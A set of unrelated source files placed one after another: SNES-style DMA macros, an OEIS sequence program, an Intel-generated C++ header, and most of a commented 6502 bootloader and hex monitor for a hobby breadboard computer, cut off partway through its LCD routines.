.MACRO LKS_DMA_PORTX lda #1 sta LKS_DMA.Enable,x lda \1 sta LKS_DMA.Bank,x rep #$20 lda #\2 sta LKS_DMA.SrcR,x lda \3 sta LKS_DMA.Src1,x lda #\4 sta LKS_DMA.Dst1,x sep #$20 lda #\5 sta LKS_DMA.Type1,x .ENDM .MACRO LKS_DMA_VRAM2 lda LKS_DMA_SEND.Enable+\1 cmp #0 beq + rep #$20 lda LKS_DMA_SEND.dma+\1 tax stx MEM_TEMPFUNC+0 lda LKS_DMA.Bank,x sta MEM_TEMPFUNC+2 lda LKS_DMA.SrcR,x sta MEM_TEMPFUNC+4 lda LKS_DMA.Func,x sta 0 sep #$20 ldx #0 ;jsr (0,x) lda #0 sta LKS_DMA.Enable+$20*\1 +: .ENDM .MACRO LKS_DMA_VRAM lda LKS_DMA.Enable+$20*\1 cmp #0 beq + ldx #$20*\1 stx MEM_TEMPFUNC lda LKS_DMA.Bank+$20*\1 sta MEM_TEMPFUNC+2 rep #$20 lda LKS_DMA.SrcR+$20*\1 sta MEM_TEMPFUNC+4 lda LKS_DMA.Func+$20*\1 sta 0 sep #$20 ldx #0 jsr (0,x) lda #0 sta LKS_DMA.Enable+$20*\1 +: .ENDM
; A111282: Number of permutations avoiding the patterns {1432,2431,3412,3421,4132,4231,4312,4321}; number of strong sorting class based on 1432. ; 1,2,6,16,42,110,288,754,1974,5168,13530,35422,92736,242786,635622,1664080,4356618,11405774,29860704,78176338,204668310,535828592,1402817466,3672623806,9615053952,25172538050,65902560198,172535142544,451702867434,1182573459758,3096017511840,8105479075762,21220419715446,55555780070576,145446920496282,380784981418270,996908023758528,2609939089857314,6832909245813414,17888788647582928,46833456696935370,122611581443223182,321001287632734176,840392281454979346,2200175556732203862,5760134388741632240,15080227609492692858,39480548439736446334,103361417709716646144,270603704689413492098,708449696358523830150,1854745384386157998352,4855786456799950164906,12712613986013692496366,33282055501241127324192,87133552517709689476210,228118602051887941104438,597222253637954133837104,1563548158861974460406874,4093422222947969247383518,10716718509981933281743680,28056733306997830597847522,73453481411011558511798886,192303710926036844937549136,503457651367098976300848522,1318069243175260083964996430,3450750078158681275594140768,9034180991300783742817425874,23651792895743669952858136854,61921197695930226115756984688,162111800192047008394412817210,424414202880210799067481466942,1111130808448585388808031583616,2908978222465545367356613283906,7615803858948050713261808268102,19938433354378606772428811520400,52199496204187769604024626293098,136660055258184702039645067358894,357780669570366336514910575783584,936681953452914307505086659991858,2452265190788376586000349404191990,6420113618912215450495961552584112,16808075665948269765487535253560346,44004113378932593845966644208096926,115204264470849511772412397370730432,301608680033615941471270547904094370,789621775629998312641399246341552678 mov $2,2 lpb $0 sub $0,1 add $1,$2 add $2,$1 lpe trn $1,1 add $1,1 mov $0,$1
/* * ----------------- BEGIN LICENSE BLOCK --------------------------------- * * Copyright (C) 2018-2020 Intel Corporation * * SPDX-License-Identifier: MIT * * ----------------- END LICENSE BLOCK ----------------------------------- */ /** * Generated file * @file * * Generator Version : 11.0.0-1988 */ #pragma once #include <cstdint> /*! * @brief namespace ad */ namespace ad { /*! * @brief namespace map */ namespace map { /*! * @brief namespace route * * Handling of routes */ namespace route { /*! * \brief DataType RoutePlanningCounter */ typedef uint64_t RoutePlanningCounter; } // namespace route } // namespace map } // namespace ad
;================================================================================ ; ; "Sixty/5o2" ; _________ ; ; v1.0 ; ; Sixty/5o2 - minimal bootloader and monitor (r/o) w/ serial connection support ; ; Written by Jan Roesner <jan@roesner.it> for Ben Eater's "Project 6502" ; ; Credits: ; - Ben Eater (Project 6502) ; - Steven Wozniak (bin2hex routine) ; - Anke L. (love, patience & support) ; ;================================================================================ PORTB = $6000 ; VIA port B PORTA = $6001 ; VIA port A DDRB = $6002 ; Data Direction Register B DDRA = $6003 ; Data Direction Register A IER = $600e ; VIA Interrupt Enable Register E = %10000000 RW = %01000000 RS = %00100000 Z0 = $00 ; General purpose zero page locations Z1 = $01 Z2 = $02 Z3 = $03 VIDEO_RAM = $3fde ; $3fde - $3ffd - Video RAM for 32 char LCD display POSITION_MENU = $3fdc ; initialize positions for menu and cursor in RAM POSITION_CURSOR = $3fdd WAIT = $3fdb WAIT_C = $18 ; global sleep multiplicator (adjust for slower clock) ISR_FIRST_RUN = $3fda ; used to determine first run of the ISR PROGRAM_LOCATION = $0200 ; memory location for user programs .org $8000 ;================================================================================ ; ; main - routine to initialize the bootloader ; ; Initializes the bootloader, LCD, VIA, Video Ram and prints a welcome message ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; Preparatory Ops: none ; ; Returned Values: none ; ; Destroys: .A, .Y, .X ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; ;================================================================================ main: ; boot routine, first thing loaded ldx #$ff ; initialize the stackpointer with 0xff txs jsr LCD__initialize jsr LCD__clear_video_ram lda #<message ; render the boot screen ldy #>message jsr LCD__print ldx #$20 ; delay further progress for a bit longer lda #$ff .wait: jsr LIB__sleep dex bne .wait jsr MENU_main ; start the menu routine jmp main ; should the menu ever return ... ;================================================================================ ; ; MENU_main - renders a scrollable menu w/ dynamic number of entries ; ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; Preparatory Ops: none ; ; Returned Values: none ; ; Destroys: .A, .X, .Y ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; ;================================================================================ MENU_main: lda #0 ; since in RAM, positions need initialization sta POSITION_MENU sta POSITION_CURSOR jmp .start .MAX_SCREEN_POS: ; define some constants in ROM .byte $05 ; its always number of items - 2, here its 6 windows ($00-$05) in 7 items .OFFSETS: .byte $00, $10, $20, $30, $40, $50 ; content offsets for all 6 screen windows .start: ; and off we go jsr LCD__clear_video_ram ldx POSITION_MENU ldy .OFFSETS,X ; load first offset into Y ldx #0 ; set X to 0 .loop: lda menu_items,Y ; load string char for Y sta VIDEO_RAM,X ; store in video ram at X iny inx cpx #$20 ; repeat 32 times bne .loop .render_cursor: ; render cursor position based on current state lda #">" ldy POSITION_CURSOR bne .lower_cursor sta VIDEO_RAM jmp .render .lower_cursor: sta VIDEO_RAM+$10 .render: ; and update the screen jsr LCD__render .wait_for_input: ; handle keyboard input ldx #4 lda #$ff ; debounce .wait: jsr LIB__sleep dex bne .wait lda #0 jsr VIA__read_keyboard_input beq .wait_for_input ; no .handle_keyboard_input: cmp #$01 beq .move_up ; UP key pressed cmp #$02 beq .move_down ; DOWN key pressed cmp #$08 beq .select_option ; RIGHT key pressed lda #0 ; explicitly setting A is a MUST here jmp .wait_for_input ; and go around .move_up: lda POSITION_CURSOR ; load cursor position beq .dec_menu_offset ; is cursor in up position? yes? lda #0 ; no? sta POSITION_CURSOR ; set cursor in up position jmp .start ; re-render the whole menu .dec_menu_offset: lda POSITION_MENU beq .wait_for_input ; yes, just re-render .decrease: dec POSITION_MENU ; decrease menu position by one jmp .start ; and re-render .move_down: lda POSITION_CURSOR ; load cursor position cmp #1 ; is cursor in lower position? beq .inc_menu_offset ; yes? lda #1 ; no? sta POSITION_CURSOR ; set cursor in lower position jmp .start ; and re-render the whole menu .inc_menu_offset: lda POSITION_MENU ; load current menu positions cmp .MAX_SCREEN_POS ; are we at the bottom yet? bne .increase ; no? jmp .wait_for_input ; yes .increase: adc #1 ; increase menu position sta POSITION_MENU jmp .start ; and re-render .select_option: clc lda #0 ; clear A adc POSITION_MENU adc POSITION_CURSOR ; calculate index of selected option cmp #0 ; branch trough all options beq .load_and_run cmp #1 beq .load cmp #2 beq .run cmp #3 beq .monitor cmp #4 beq .clear_ram cmp #5 beq .about cmp #6 beq .credits jmp .end ; should we have an invalid option, restart .load_and_run: ; load and directly run jsr .do_load ; load first jsr .do_run ; run immediately after jmp .start ; should a program ever return ... .load: ; load program and go back into menu jsr .do_load jmp .start .run: ; run a program already loaded jsr .do_run jmp .start .monitor: ; start up the monitor lda #<PROGRAM_LOCATION ; have it render the start location ldy #>PROGRAM_LOCATION ; can also be set as params during debugging jsr MONITOR__main jmp .start .clear_ram: ; start the clear ram routine jsr BOOTLOADER__clear_ram jmp .start .about: ; start the about routine lda #<about ldy #>about ldx #3 jsr LCD__print_text jmp .start .credits: ; start the credits routine lda #<credits ldy #>credits ldx #3 jsr LCD__print_text jmp .start .do_load: ; orchestration of program loading lda #$ff ; wait a bit jsr LIB__sleep jsr BOOTLOADER__program_ram ; call the bootloaders programming routine rts .do_run: ; orchestration of running a program jmp BOOTLOADER__execute .end jmp .start ; should we ever reach this point ... ;================================================================================ ; ; BOOTLOADER__program_ram - writes serial data to RAM ; ; Used in conjunction w/ the ISR, orchestrates user program reading ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; Preparatory Ops: none ; ; Returned Values: none ; none ; Destroys: .A, .X, .Y ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; ;================================================================================ BOOTLOADER__program_ram: CURRENT_RAM_ADDRESS_L = Z0 CURRENT_RAM_ADDRESS_H = Z1 LOADING_STATE = Z2 lda #%01111111 ; we disable all 6522 interrupts!!! sta IER lda #0 ; for a reason I dont get, the ISR is triggered... sta ISR_FIRST_RUN ; one time before the first byte arrives, so we mitigate here jsr LCD__clear_video_ram lda #<message4 ; Rendering a message ldy #>message4 jsr LCD__print lda #$00 ; initializing loading state byte sta LOADING_STATE lda #>PROGRAM_LOCATION ; initializing RAM address counter sta CURRENT_RAM_ADDRESS_H lda #<PROGRAM_LOCATION sta CURRENT_RAM_ADDRESS_L cli ; enable interrupt handling lda #%00000000 ; set all pins on port B to input ldx #%11100001 ; set top 3 pins and bottom ones to on port A to output, 4 middle ones to input jsr VIA__configure_ddrs .wait_for_first_data: lda LOADING_STATE ; checking loading state cmp #$00 ; the ISR will set to $01 as soon as a byte is read beq .wait_for_first_data .loading_data: lda #$02 ; assuming we're done loading, we set loading state to $02 sta LOADING_STATE ldx #$20 ; then we wait for * cycles !!!! Increase w/ instable loading lda #$ff .loop: jsr LIB__sleep dex bne .loop lda LOADING_STATE ; check back loading state, which was eventually updated by the ISR cmp #$02 bne .loading_data ; when no data came in in last * cycles, we're done loading .done_loading: lda #%11111111 ; Reset VIA ports for output, set all pins on port B to output ldx #%11100000 ; set top 3 pins and bottom ones to on port A to output, 5 middle ones to input jsr VIA__configure_ddrs jsr LCD__clear_video_ram lda #<message6 ldy #>message6 jsr LCD__print ldx #$20 ; wait a moment before we return to main menu lda #$ff .loop_messagedisplay: jsr LIB__sleep dex bne .loop_messagedisplay rts ;================================================================================ ; ; BOOTLOADER__execute - executes a user program in RAM ; ; Program needs to be loaded via serial loader or other mechanism beforehand ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; Preparatory Ops: none ; ; Returned Values: none ; ; Destroys: .A, .Y ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; ;================================================================================ BOOTLOADER__execute: sei ; disable interrupt handling jsr LCD__clear_video_ram ; print a message lda #<message7 ldy #>message7 jsr LCD__print jmp PROGRAM_LOCATION ; and jump to program location ;================================================================================ ; ; BOOTLOADER__clear_ram - clears RAM from $0200 up to $3fff ; ; Useful during debugging or when using non-volatile RAM chips ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; Preparatory Ops: none ; ; Returned Values: none ; ; Destroys: .A, .Y ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; ;================================================================================ BOOTLOADER__clear_ram: jsr LCD__clear_video_ram ; render message lda #<message8 ldy #>message8 jsr LCD__print ldy #<PROGRAM_LOCATION ; load start location into zero page sty Z0 lda #>PROGRAM_LOCATION sta Z1 lda #$00 ; load 0x00 cleaner byte .loop: sta (Z0),Y ; store it in current location iny ; increase 16 bit address by 0x01 bne .loop inc Z1 bit Z1 ; V is set on bit 6 (= $40) bvs .loop rts ; yes, return from subroutine ;================================================================================ ; ; MONITOR__main - RAM/ROM Hexmonitor (r/o) ; ; Currently read only, traverses RAM and ROM locations, shows hex data contents ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; Preparatory Ops: none ; ; Returned Values: none ; ; Destroys: .A, .X, .Y ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; ;================================================================================ MONITOR__main: sta Z0 ; store LSB sty Z1 ; store MSB .render_current_ram_location: jsr LCD__clear_video_ram lda #$00 ; select upper row of video ram sta Z3 ; #TODO jsr .transform_contents ; load and transform ram and address bytes clc ; add offset to address lda Z0 adc #$04 sta Z0 bcc .skip inc Z1 .skip: lda #$01 ; select lower row of video ram sta Z3 jsr .transform_contents ; load and transform ram and address bytes there jsr LCD__render .wait_for_input: ; wait for key press ldx #$04 ; debounce #TODO .wait: lda #$ff jsr LIB__sleep dex bne .wait lda #0 jsr VIA__read_keyboard_input beq .wait_for_input ; a key was pressed? no .handle_keyboard_input: ; determine action for key pressed cmp #$01 beq .move_up ; UP key pressed cmp #$02 beq .move_down ; DOWN key pressed cmp #$04 beq .exit_monitor ; LEFT key pressed cmp #$08 beq .fast_forward ; RIGHT key pressed lda #0 ; explicitly setting A is a MUST here jmp .wait_for_input .exit_monitor: lda #0 ; needed for whatever reason rts .move_down: jmp .render_current_ram_location ; no math needed, the address is up to date already .move_up: sec ; decrease the 16bit RAM Pointer lda Z0 sbc #$08 sta Z0 lda Z1 sbc #$00 sta Z1 jmp .render_current_ram_location ; and re-render .fast_forward: ; add $0800 to current RAM location sec lda Z0 adc #$00 sta Z0 lda Z1 adc #$04 sta Z1 jmp .render_current_ram_location ; and re-render .transform_contents: ; start reading address and ram contents into stack ldy #3 .iterate_ram: ; transfer 4 ram bytes to stack lda (Z0),Y pha dey bne .iterate_ram lda (Z0),Y pha lda Z0 ; transfer the matching address bytes to stack too pha lda Z1 pha ldy #0 .iterate_stack: ; transform stack contents from bin to hex cpy #6 beq .end sty Z2 ; preserve Y #TODO pla jsr LIB__bin_to_hex ldy Z2 ; restore Y pha ; push least sign. nibble (LSN) onto stack txa pha ; push most sign. nibble (MSN) too tya ; calculate nibble positions in video ram adc MON__position_map,Y ; use the static map for that tax pla jsr .store_nibble ; store MSN to video ram inx pla jsr .store_nibble ; store LSN to video ram iny jmp .iterate_stack ; repeat for all 6 bytes on stack .store_nibble: ; subroutine to store nibbles in two lcd rows pha lda Z3 beq .store_upper_line ; should we store in upper line? yes pla ; no, store in lower line sta VIDEO_RAM+$10,X jmp .end_store .store_upper_line ; upper line storage pla sta VIDEO_RAM,X .end_store: rts .end: lda #":" ; writing the two colons sta VIDEO_RAM+$4 sta VIDEO_RAM+$14 rts ;================================================================================ ; ; VIA__read_keyboard_input - returns 4-key keyboard inputs ; ; Input is read, normalized and returned to the caller ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; Preparatory Ops: none ; ; Returned Values: .A: (UP: $1, DOWN: $2, LEFT: $4, RIGHT: $8) ; ; Destroys: .A ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; ;================================================================================ VIA__read_keyboard_input: lda PORTA ; load current key status from VIA ror ; normalize the input to $1, $2, $4 and $8 and #$0f rts ;================================================================================ ; ; VIA__configure_ddrs - configures data direction registers of the VIA chip ; ; Expects one byte per register with bitwise setup input/output directions ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; Preparatory Ops: .A: Byte for DDRB ; .X: Byte for DDRA ; ; Returned Values: none ; ; Destroys: none ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; ;================================================================================ VIA__configure_ddrs: sta DDRB ; configure data direction for port B from A reg. stx DDRA ; configure data direction for port A from X reg. rts ;================================================================================ ; ; LCD__clear_video_ram - clears the Video Ram segment with 0x00 bytes ; ; Useful before rendering new contents by writing to the video ram ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; Preparatory Ops: none ; ; Returned Values: none ; ; Destroys: none ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; ;================================================================================ LCD__clear_video_ram: pha ; preserve A via stack tya ; same for Y pha ldy #$20 ; set index to 32 lda #$20 ; set character to 'space' .loop: sta VIDEO_RAM,Y ; clean video ram dey ; decrease index bne .loop ; are we done? no, repeat sta VIDEO_RAM ; yes, write zero'th location manually pla ; restore Y tay pla ; restore A rts ;================================================================================ ; ; LCD__print - prints a string to the LCD (highlevel) ; ; String must be given as address pointer, subroutines are called ; The given string is automatically broken into the second display line and ; the render routines are called automatically ; ; Important: String MUST NOT be zero terminated ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; Preparatory Ops: .A: LSN String Address ; .Y: MSN String Address ; Returned Values: none ; ; Destroys: .A, .X, .Y ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; ;================================================================================ LCD__print: ldx #0 ; set offset to 0 as default jsr LCD__print_with_offset ; call printing subroutine rts ;================================================================================ ; ; LCD__print_with_offset - prints string on LCD screen at given offset ; ; String must be given as address pointer, subroutines are called ; The given string is automatically broken into the second display line and ; the render routines are called automatically ; ; Important: String MUST NOT be zero terminated ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; Preparatory Ops: .A: LSN String Address ; .Y: MSN String Address ; .X: Offset Byte ; Returned Values: none ; ; Destroys: .A, .X, .Y ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; ;================================================================================ LCD__print_with_offset: STRING_ADDRESS_PTR = Z0 sta STRING_ADDRESS_PTR ; load t_string lsb sty STRING_ADDRESS_PTR+1 ; load t_string msb stx Z2 ; X can not directly be added to A, therefore we store it #TODO ldy #0 .loop: clc tya adc Z2 ; compute offset based on given offset and current cursor position tax lda (STRING_ADDRESS_PTR),Y ; load char from given string at position Y beq .return ; is string terminated via 0x00? yes sta VIDEO_RAM,X ; no - store char to video ram iny jmp .loop ; loop until we find 0x00 .return: jsr LCD__render ; render video ram contents to LCD screen aka scanline rts ;================================================================================ ; ; LCD__print_text - prints a scrollable / escapeable multiline text (highlevel) ; ; The text location must be given as memory pointer, the number of pages to ; be rendered needs to be given as well ; ; Important: The text MUST be zero terminated ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; Preparatory Ops: .A: LSN Text Address ; .Y: MSN Text Address ; .X: Page Number Byte ; Returned Values: none ; ; Destroys: .A, .X, .Y ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; ;================================================================================ LCD__print_text: sta Z0 ; store text pointer in zero page sty Z1 dex ; reduce X by one to get cardinality of pages stx Z2 ; store given number of pages .CURRENT_PAGE = Z3 lda #0 sta Z3 .render_page: jsr LCD__clear_video_ram ; clear video ram ldy #0 ; reset character index .render_chars: lda (Z0),Y ; load character from given text at current character index cmp #$00 beq .do_render ; text ended? yes then render sta VIDEO_RAM,Y ; no, store char in video ram at current character index iny ; increase index bne .render_chars ; repeat with next char .do_render: jsr LCD__render ; render current content to screen .wait_for_input: ; handle keyboard input ldx #4 .wait: lda #$ff ; debounce jsr LIB__sleep dex bne .wait lda #0 jsr VIA__read_keyboard_input bne .handle_keyboard_input ; do we have input? yes? jmp .wait_for_input ; no .handle_keyboard_input: cmp #$01 beq .move_up ; UP key pressed cmp #$02 beq .move_down ; DOWN key pressed cmp #$04 beq .exit ; LEFT key pressed lda #0 ; Explicitly setting A is a MUST here jmp .wait_for_input .exit: rts .move_up: lda .CURRENT_PAGE ; are we on the first page? beq .wait_for_input ; yes, just ignore the keypress and wait for next one dec .CURRENT_PAGE ; no, decrease current page by 1 sec ; decrease reading pointer by 32 bytes lda Z0 sbc #$20 sta Z0 bcs .skipdec dec Z1 .skipdec: jmp .render_page ; and re-render .move_down: lda .CURRENT_PAGE ; load current page cmp Z2 ; are we on last page already beq .wait_for_input ; yes, just ignore keypress and wait for next one inc .CURRENT_PAGE ; no, increase current page by 1 clc ; add 32 to the text pointer lda Z0 adc #$20 sta Z0 bcc .skipinc inc Z1 .skipinc: jmp .render_page ; and re-render ;================================================================================ ; ; LCD__initialize - initializes the LCD display ; ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; Preparatory Ops: none ; ; Returned Values: none ; ; Destroys: .A, .X ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; ;================================================================================ LCD__initialize: lda #%11111111 ; set all pins on port B to output ldx #%11100000 ; set top 3 pins and bottom ones to on port A to output, 5 middle ones to input jsr VIA__configure_ddrs lda #%00111000 ; set 8-bit mode, 2-line display, 5x8 font jsr LCD__send_instruction lda #%00001110 ; display on, cursor on, blink off jsr LCD__send_instruction lda #%00000110 ; increment and shift cursor, don't shift display jmp LCD__send_instruction ;================================================================================ ; ; LCD__set_cursor - sets the cursor on hardware level into upper or lower row ; ; Always positions the cursor in the first column of the chosen row ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; Preparatory Ops: .A: byte representing upper or lower row ; ; Returned Values: none ; ; Destroys: .A ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; ;================================================================================ LCD__set_cursor: jmp LCD__send_instruction ;================================================================================ ; ; LCD__set_cursor_second_line - sets cursor to second row, first column ; ; Low level convenience function ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; Preparatory Ops: none ; ; Returned Values: none ; ; Destroys: none ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; ;================================================================================ LCD__set_cursor_second_line: pha ; preserve A lda #%11000000 ; set cursor to line 2 hardly jsr LCD__send_instruction pla ; restore A rts ;================================================================================ ; ; LCD__render - transfers Video Ram contents onto the LCD display ; ; Automatically breaks text into the second row if necessary but takes the ; additional LCD memory into account ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; Preparatory Ops: Content in Video Ram needs to be available ; ; Returned Values: none ; ; Destroys: .A, .X, .Y ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; ;================================================================================ LCD__render: lda #%10000000 ; force cursor to first line jsr LCD__set_cursor ldx #0 .write_char: ; start writing chars from video ram lda VIDEO_RAM,X ; read video ram char at X cpx #$10 ; are we done with the first line? beq .next_line ; yes - move on to second line cpx #$20 ; are we done with 32 chars? beq .return ; yes, return from routine jsr LCD__send_data ; no, send data to lcd inx jmp .write_char ; repeat with next char .next_line: jsr LCD__set_cursor_second_line ; set cursort into line 2 jsr LCD__send_data ; send dataa to lcd inx jmp .write_char ; repear with next char .return: rts ;================================================================================ ; ; LCD__check_busy_flag - returns the LCD's busy status flag ; ; Since the LCD needs clock cycles internally to process instructions, it can ; not handle instructions at all times. Therefore it provides a busy flag, ; which when 0 signals, that the LCD is ready to accept the next instruction ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; Preparatory Ops: none ; ; Returned Values: .A: LCD's busy flag (busy: $01, ready: $00) ; ; Destroys: .A ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; ;================================================================================ LCD__check_busy_flag: lda #0 ; clear port A sta PORTA ; clear RS/RW/E bits lda #RW ; prepare read mode sta PORTA bit PORTB ; read data from LCD bpl .ready ; bit 7 not set -> ready lda #1 ; bit 7 set, LCD is still busy, need waiting rts .ready: lda #0 .return: rts ;================================================================================ ; ; LCD__send_instruction - sends a control instruction to the LCD display ; ; In contrast to data, the LCD accepts a number of control instructions as well ; This routine can be used, to send arbitrary instructions following the LCD's ; specification ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; Preparatory Ops: .A: control byte (see LCD manual) ; ; Returned Values: none ; ; Destroys: .A ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; ;================================================================================ LCD__send_instruction: pha ; preserve A .loop ; wait until LCD becomes ready jsr LCD__check_busy_flag bne .loop pla ; restore A sta PORTB ; write accumulator content into PORTB lda #E sta PORTA ; set E bit to send instruction lda #0 sta PORTA ; clear RS/RW/E bits rts ;================================================================================ ; ; LCD__send_data - sends content data to the LCD controller ; ; In contrast to instructions, there seems to be no constraint, and data can ; be sent at any rate to the display (see LCD__send_instruction) ; β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ; Preparatory Ops: .A: Content Byte ; ; Returned Values: none ; ; Destroys: .A ; 